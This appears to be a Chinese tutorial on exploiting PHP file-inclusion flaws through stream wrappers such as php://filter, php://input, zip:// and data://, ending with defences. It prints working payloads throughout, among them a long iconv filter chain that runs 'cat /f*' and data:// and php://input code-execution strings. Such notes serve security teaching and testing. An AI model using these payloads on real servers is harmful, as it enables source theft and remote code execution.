定义
PHP内置了很多URL风格的封装协议,类似fopen()、copy()、file_exists()和filesize()的文件系统函数
file://
协议
该协议用于访问本地文件,使用条件不受allow_url_fopen
和allow_url_include
的影响
使用方法file:// 文件的绝对路径
但是该文件如果包含了php代码会执行php代码
php://
协议
php://
用于访问各个输入/输出流
主要使用以下两种php://filter/
-->用于读取源码php://input
-->用于执行php代码
php://filter/
读取包含php代码文件内容需要进行某种编码进行输出,不然会当作php代码执行就无法查看文章内容
利用条件
allow_url_fopen :off/on
allow_url_include:off/on
payload
php://filter/read=convert.base64-encode/resource=file
payload分析
php://filter/:这是一个 PHP 的流封装器,用于在读写数据时提供过滤功能。
read=convert.base64-encode/:这里指定了一个过滤器,告诉 PHP 在读取数据之前将其进行 base64 编码。
convert.base64-encode
是一个 PHP 内置的过滤器,用于将数据转换为 base64 编码resource=file:这部分指定了要操作的资源。在这个例子中,
file
表示我们希望对一个文件进行操作,具体来说是对文件的内容进行 base64 编码读取
其中,过滤器可以更换为其他编码可以绕过一些读取限制
模板如下
php://filter/convert.iconv.a.b/resource=check.php (a,b 位置是编码格式)
常用例子
php://filter/convert.iconv.UTF-7.UCS-4*/resource=check.php
php://filter/read=string.rot13/resource=imposible.php //rot3加密
同时有一个通用文件包含,里面有诸多过滤器,可以借鉴
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-
1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|conver
t.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR
|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp&0=cat%20/f*
php://input
/
php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input
,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行
利用条件
allow_url_fopen :off/on
allow_url_include:on
利用流程
利用?php://input
+POST请求中写入php代码
注意
php代码他会像日志一样编码
%3C%3Fphp++phpinfo%28%29%3B+%3F%3E
所以进行POST请求时需要使用burp进行,后者将php代码编码后无法执行
有写入权限也可以使用fopen函数写入
ZIP://
协议
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
URL传入协议需要注意
zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://
利用条件
allow_url_fopen :off/on
allow_url_include:off/on
payload
zip://[压缩包绝对路径]#[压缩包内文件]
例子如下
?file=zip://D:\1.zip%23phpinfo.txt
data://
协议
data://同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
利用条件
allow_url_fopen :on
allow_url_include:on
payload
执行命令
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
且php代码里面base64编码之前不能用分号,否则会报错无法执行
因为分号没有被处理为有效的 PHP 语句,可能会导致意外的解析结果
2. 绕过(file_get_contents($_GET['a'],'r')="success"
需要绕过上述
依旧是上面的payload
data://text/plain;base64,c3VjY2Vzcw== //'c3VjY2Vzcw=='为success的base64编码
payload分析
data://
:这是 PHP 的数据流封装器,允许直接处理数据,而不需要真正的文件存在text/plain:这部分指定了数据的 MIME 类型,表示数据是普通文本类型
<?php phpinfo();?>
:这是实际的数据部分。在这个例子中,是一个包含phpinfo();
函数调用的 PHP 代码片段
防御方法
使用str_replace等方法过滤掉危险字符
配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)
php版本升级,防止%00截断
对上传的文件进行重命名,例如伪随机数,防止被读取
白名单限制
allow_url_include和allow_url_fopen最小权限化